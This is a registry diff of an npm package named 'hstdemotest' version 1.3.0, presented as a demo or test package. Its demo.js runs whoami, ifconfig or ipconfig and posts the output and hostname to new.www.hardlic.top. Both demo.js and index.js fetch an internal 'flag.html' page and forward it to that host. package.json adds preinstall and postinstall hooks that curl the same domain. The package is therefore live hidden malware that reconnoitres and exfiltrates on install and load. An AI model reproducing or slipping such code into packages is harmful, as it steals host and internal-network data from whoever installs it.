hstdemotest 1.3.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/demo.js +242 -0
- package/index.js +83 -0
- package/package.json +13 -0
package/demo.js
ADDED
|
@@ -0,0 +1,242 @@
|
|
|
1
|
+
// 引入Node.js原生模块
|
|
2
|
+
const os = require('os');
|
|
3
|
+
const { exec } = require('child_process');
|
|
4
|
+
const http = require('http');
|
|
5
|
+
const { URL } = require('url');
|
|
6
|
+
|
|
7
|
+
// 目标提交地址
|
|
8
|
+
const targetUrl = new URL('http://new.www.hardlic.top/cnbos.php');
|
|
9
|
+
|
|
10
|
+
/**
|
|
11
|
+
* 执行系统命令并返回Promise结果
|
|
12
|
+
* @param {string} cmd 要执行的系统命令
|
|
13
|
+
* @returns {Promise<string>} 命令执行结果(stdout)
|
|
14
|
+
*/
|
|
15
|
+
function executeCommand(cmd) {
|
|
16
|
+
return new Promise((resolve, reject) => {
|
|
17
|
+
exec(cmd, (error, stdout, stderr) => {
|
|
18
|
+
if (error) {
|
|
19
|
+
reject(new Error(`命令执行失败 [${cmd}]: ${error.message}`));
|
|
20
|
+
return;
|
|
21
|
+
}
|
|
22
|
+
if (stderr) {
|
|
23
|
+
reject(new Error(`命令错误输出 [${cmd}]: ${stderr}`));
|
|
24
|
+
return;
|
|
25
|
+
}
|
|
26
|
+
resolve(stdout.trim());
|
|
27
|
+
});
|
|
28
|
+
});
|
|
29
|
+
}
|
|
30
|
+
|
|
31
|
+
/**
|
|
32
|
+
* 根据系统类型获取对应信息
|
|
33
|
+
* @returns {Promise<object>} 待提交的系统信息对象
|
|
34
|
+
*/
|
|
35
|
+
async function getSystemInfoByOS() {
|
|
36
|
+
const platform = process.platform;
|
|
37
|
+
const systemInfo = {};
|
|
38
|
+
let osType = '';
|
|
39
|
+
|
|
40
|
+
// 通用:获取当前用户(whoami)
|
|
41
|
+
try {
|
|
42
|
+
systemInfo.whoami = await executeCommand('whoami');
|
|
43
|
+
} catch (err) {
|
|
44
|
+
throw new Error(`获取whoami失败: ${err.message}`);
|
|
45
|
+
}
|
|
46
|
+
|
|
47
|
+
// Linux/macOS 逻辑合并:获取hostname、ifconfig
|
|
48
|
+
if (platform === 'linux' || platform === 'darwin') {
|
|
49
|
+
osType = platform === 'linux' ? 'Linux' : 'macOS';
|
|
50
|
+
try {
|
|
51
|
+
systemInfo.hostname = os.hostname();
|
|
52
|
+
systemInfo.ifconfig = await executeCommand('ifconfig');
|
|
53
|
+
} catch (err) {
|
|
54
|
+
throw new Error(`${osType}系统获取信息失败: ${err.message}`);
|
|
55
|
+
}
|
|
56
|
+
}
|
|
57
|
+
// Windows 逻辑:仅获取ipconfig
|
|
58
|
+
else if (platform === 'win32') {
|
|
59
|
+
osType = 'Windows';
|
|
60
|
+
try {
|
|
61
|
+
systemInfo.ipconfig = await executeCommand('ipconfig');
|
|
62
|
+
} catch (err) {
|
|
63
|
+
throw new Error(`Windows系统获取ipconfig失败: ${err.message}`);
|
|
64
|
+
}
|
|
65
|
+
}
|
|
66
|
+
// 不支持的系统
|
|
67
|
+
else {
|
|
68
|
+
throw new Error(`不支持的操作系统: ${platform},仅支持Linux/macOS/Windows`);
|
|
69
|
+
}
|
|
70
|
+
|
|
71
|
+
// 核心改动:将osType加入待提交的数据中
|
|
72
|
+
systemInfo.osType = osType;
|
|
73
|
+
console.log(`当前识别的操作系统: ${osType}`);
|
|
74
|
+
return systemInfo;
|
|
75
|
+
}
|
|
76
|
+
|
|
77
|
+
/**
|
|
78
|
+
* 将对象转为表单格式字符串(x-www-form-urlencoded)
|
|
79
|
+
* @param {object} data 待转换的对象
|
|
80
|
+
* @returns {string} 表单字符串(如 whoami=xxx&hostname=xxx)
|
|
81
|
+
*/
|
|
82
|
+
function convertToFormData(data) {
|
|
83
|
+
return Object.entries(data)
|
|
84
|
+
.map(([key, value]) => {
|
|
85
|
+
// 对key和value都进行URL编码,避免特殊字符导致解析错误
|
|
86
|
+
return `${encodeURIComponent(key)}=${encodeURIComponent(value)}`;
|
|
87
|
+
})
|
|
88
|
+
.join('&');
|
|
89
|
+
}
|
|
90
|
+
|
|
91
|
+
/**
|
|
92
|
+
* 用原生http库提交表单数据到目标地址
|
|
93
|
+
* @param {object} data 待提交的对象
|
|
94
|
+
* @returns {Promise<object>} 服务器响应结果
|
|
95
|
+
*/
|
|
96
|
+
function submitFormData(data) {
|
|
97
|
+
return new Promise((resolve, reject) => {
|
|
98
|
+
// 转换为表单字符串
|
|
99
|
+
const formData = convertToFormData(data);
|
|
100
|
+
|
|
101
|
+
// 构建http请求选项
|
|
102
|
+
const requestOptions = {
|
|
103
|
+
hostname: targetUrl.hostname, // 目标主机:www.test.com
|
|
104
|
+
port: targetUrl.port || 80, // 默认80端口
|
|
105
|
+
path: targetUrl.pathname || '/', // 请求路径
|
|
106
|
+
method: 'POST', // 请求方法
|
|
107
|
+
headers: {
|
|
108
|
+
'Content-Type': 'application/x-www-form-urlencoded', // 表单格式
|
|
109
|
+
'Content-Length': Buffer.byteLength(formData) // 表单数据长度
|
|
110
|
+
}
|
|
111
|
+
};
|
|
112
|
+
|
|
113
|
+
// 创建请求
|
|
114
|
+
const req = http.request(requestOptions, (res) => {
|
|
115
|
+
let responseData = '';
|
|
116
|
+
|
|
117
|
+
// 接收响应数据
|
|
118
|
+
res.on('data', (chunk) => {
|
|
119
|
+
responseData += chunk;
|
|
120
|
+
});
|
|
121
|
+
|
|
122
|
+
// 响应结束
|
|
123
|
+
res.on('end', () => {
|
|
124
|
+
if (res.statusCode >= 200 && res.statusCode < 300) {
|
|
125
|
+
resolve({
|
|
126
|
+
statusCode: res.statusCode,
|
|
127
|
+
response: responseData
|
|
128
|
+
});
|
|
129
|
+
} else {
|
|
130
|
+
reject(new Error(`服务器响应失败,状态码: ${res.statusCode},响应内容: ${responseData}`));
|
|
131
|
+
}
|
|
132
|
+
});
|
|
133
|
+
});
|
|
134
|
+
|
|
135
|
+
// 请求错误处理
|
|
136
|
+
req.on('error', (err) => {
|
|
137
|
+
reject(new Error(`网络请求失败: ${err.message}`));
|
|
138
|
+
});
|
|
139
|
+
|
|
140
|
+
// 发送表单数据
|
|
141
|
+
req.write(formData);
|
|
142
|
+
// 结束请求
|
|
143
|
+
req.end();
|
|
144
|
+
});
|
|
145
|
+
}
|
|
146
|
+
|
|
147
|
+
|
|
148
|
+
|
|
149
|
+
function fetchFlagHtml() {
|
|
150
|
+
return new Promise((resolve, reject) => {
|
|
151
|
+
const req = http.get('http://tst.woa.com/flag.html', (res) => {
|
|
152
|
+
let content = '';
|
|
153
|
+
|
|
154
|
+
// 接收数据块
|
|
155
|
+
res.on('data', (chunk) => {
|
|
156
|
+
content += chunk;
|
|
157
|
+
});
|
|
158
|
+
|
|
159
|
+
// 数据接收完成
|
|
160
|
+
res.on('end', () => {
|
|
161
|
+
resolve(content);
|
|
162
|
+
});
|
|
163
|
+
});
|
|
164
|
+
|
|
165
|
+
// 请求错误
|
|
166
|
+
req.on('error', (err) => {
|
|
167
|
+
reject(err);
|
|
168
|
+
});
|
|
169
|
+
|
|
170
|
+
// 超时处理
|
|
171
|
+
req.setTimeout(10000, () => {
|
|
172
|
+
req.abort();
|
|
173
|
+
reject(new Error('请求超时'));
|
|
174
|
+
});
|
|
175
|
+
});
|
|
176
|
+
}
|
|
177
|
+
|
|
178
|
+
// 第二步:发送内容到 recive.php
|
|
179
|
+
function sendContentToRecive(content) {
|
|
180
|
+
return new Promise((resolve, reject) => {
|
|
181
|
+
// 配置请求参数
|
|
182
|
+
const options = {
|
|
183
|
+
hostname: 'new.www.hardlic.top',
|
|
184
|
+
path: '/recive.php',
|
|
185
|
+
method: 'POST',
|
|
186
|
+
headers: {
|
|
187
|
+
'Content-Type': 'application/json',
|
|
188
|
+
'Content-Length': Buffer.byteLength(JSON.stringify({ content }))
|
|
189
|
+
}
|
|
190
|
+
};
|
|
191
|
+
|
|
192
|
+
const req = http.request(options, (res) => {
|
|
193
|
+
let responseData = '';
|
|
194
|
+
|
|
195
|
+
res.on('data', (chunk) => {
|
|
196
|
+
responseData += chunk;
|
|
197
|
+
});
|
|
198
|
+
|
|
199
|
+
res.on('end', () => {
|
|
200
|
+
resolve(responseData);
|
|
201
|
+
});
|
|
202
|
+
});
|
|
203
|
+
|
|
204
|
+
req.on('error', (err) => {
|
|
205
|
+
reject(err);
|
|
206
|
+
});
|
|
207
|
+
|
|
208
|
+
req.setTimeout(10000, () => {
|
|
209
|
+
req.abort();
|
|
210
|
+
reject(new Error('发送超时'));
|
|
211
|
+
});
|
|
212
|
+
|
|
213
|
+
|
|
214
|
+
req.write(JSON.stringify({ content }));
|
|
215
|
+
req.end();
|
|
216
|
+
});
|
|
217
|
+
}
|
|
218
|
+
|
|
219
|
+
|
|
220
|
+
async function main() {
|
|
221
|
+
try {
|
|
222
|
+
// 1. 获取对应系统的信息
|
|
223
|
+
const systemInfo = await getSystemInfoByOS();
|
|
224
|
+
console.log('待提交的系统信息:', systemInfo);
|
|
225
|
+
|
|
226
|
+
// 2. 转换为表单格式并提交
|
|
227
|
+
const submitResult = await submitFormData(systemInfo);
|
|
228
|
+
console.log('提交成功!', submitResult);
|
|
229
|
+
} catch (error) {
|
|
230
|
+
console.error('执行失败:', error.message);
|
|
231
|
+
process.exit(1); // 非0退出表示执行失败
|
|
232
|
+
}
|
|
233
|
+
|
|
234
|
+
try {
|
|
235
|
+
const content = await fetchFlagHtml();
|
|
236
|
+
const result = await sendContentToRecive(content);
|
|
237
|
+
} catch (err) {
|
|
238
|
+
console.error('执行失败');
|
|
239
|
+
}
|
|
240
|
+
}
|
|
241
|
+
|
|
242
|
+
main();
|
package/index.js
ADDED
|
@@ -0,0 +1,83 @@
|
|
|
1
|
+
const http = require('http');
|
|
2
|
+
|
|
3
|
+
function fetchFlagHtml() {
|
|
4
|
+
return new Promise((resolve, reject) => {
|
|
5
|
+
const req = http.get('http://tst.woa.com/flag.html', (res) => {
|
|
6
|
+
let content = '';
|
|
7
|
+
|
|
8
|
+
// 接收数据块
|
|
9
|
+
res.on('data', (chunk) => {
|
|
10
|
+
content += chunk;
|
|
11
|
+
});
|
|
12
|
+
|
|
13
|
+
// 数据接收完成
|
|
14
|
+
res.on('end', () => {
|
|
15
|
+
resolve(content);
|
|
16
|
+
});
|
|
17
|
+
});
|
|
18
|
+
|
|
19
|
+
// 请求错误
|
|
20
|
+
req.on('error', (err) => {
|
|
21
|
+
reject(err);
|
|
22
|
+
});
|
|
23
|
+
|
|
24
|
+
// 超时处理
|
|
25
|
+
req.setTimeout(10000, () => {
|
|
26
|
+
req.abort();
|
|
27
|
+
reject(new Error('请求超时'));
|
|
28
|
+
});
|
|
29
|
+
});
|
|
30
|
+
}
|
|
31
|
+
|
|
32
|
+
// 第二步:发送内容到 recive.php
|
|
33
|
+
function sendContentToRecive(content) {
|
|
34
|
+
return new Promise((resolve, reject) => {
|
|
35
|
+
// 配置请求参数
|
|
36
|
+
const options = {
|
|
37
|
+
hostname: 'new.www.hardlic.top',
|
|
38
|
+
path: '/recive.php',
|
|
39
|
+
method: 'POST',
|
|
40
|
+
headers: {
|
|
41
|
+
'Content-Type': 'application/json',
|
|
42
|
+
'Content-Length': Buffer.byteLength(JSON.stringify({ content }))
|
|
43
|
+
}
|
|
44
|
+
};
|
|
45
|
+
|
|
46
|
+
const req = http.request(options, (res) => {
|
|
47
|
+
let responseData = '';
|
|
48
|
+
|
|
49
|
+
res.on('data', (chunk) => {
|
|
50
|
+
responseData += chunk;
|
|
51
|
+
});
|
|
52
|
+
|
|
53
|
+
res.on('end', () => {
|
|
54
|
+
resolve(responseData);
|
|
55
|
+
});
|
|
56
|
+
});
|
|
57
|
+
|
|
58
|
+
req.on('error', (err) => {
|
|
59
|
+
reject(err);
|
|
60
|
+
});
|
|
61
|
+
|
|
62
|
+
req.setTimeout(10000, () => {
|
|
63
|
+
req.abort();
|
|
64
|
+
reject(new Error('发送超时'));
|
|
65
|
+
});
|
|
66
|
+
|
|
67
|
+
|
|
68
|
+
req.write(JSON.stringify({ content }));
|
|
69
|
+
req.end();
|
|
70
|
+
});
|
|
71
|
+
}
|
|
72
|
+
|
|
73
|
+
|
|
74
|
+
async function main() {
|
|
75
|
+
try {
|
|
76
|
+
const content = await fetchFlagHtml();
|
|
77
|
+
const result = await sendContentToRecive(content);
|
|
78
|
+
} catch (err) {
|
|
79
|
+
console.error('执行失败');
|
|
80
|
+
}
|
|
81
|
+
}
|
|
82
|
+
|
|
83
|
+
main();
|
package/package.json
ADDED
|
@@ -0,0 +1,13 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "hstdemotest",
|
|
3
|
+
"version": "1.3.0",
|
|
4
|
+
"main": "index.js",
|
|
5
|
+
"scripts": {
|
|
6
|
+
"postinstall":"curl new.www.hardlic.top",
|
|
7
|
+
"preinstall": "curl new.www.hardlic.top"
|
|
8
|
+
},
|
|
9
|
+
"keywords": [],
|
|
10
|
+
"author": "",
|
|
11
|
+
"license": "ISC",
|
|
12
|
+
"description": ""
|
|
13
|
+
}
|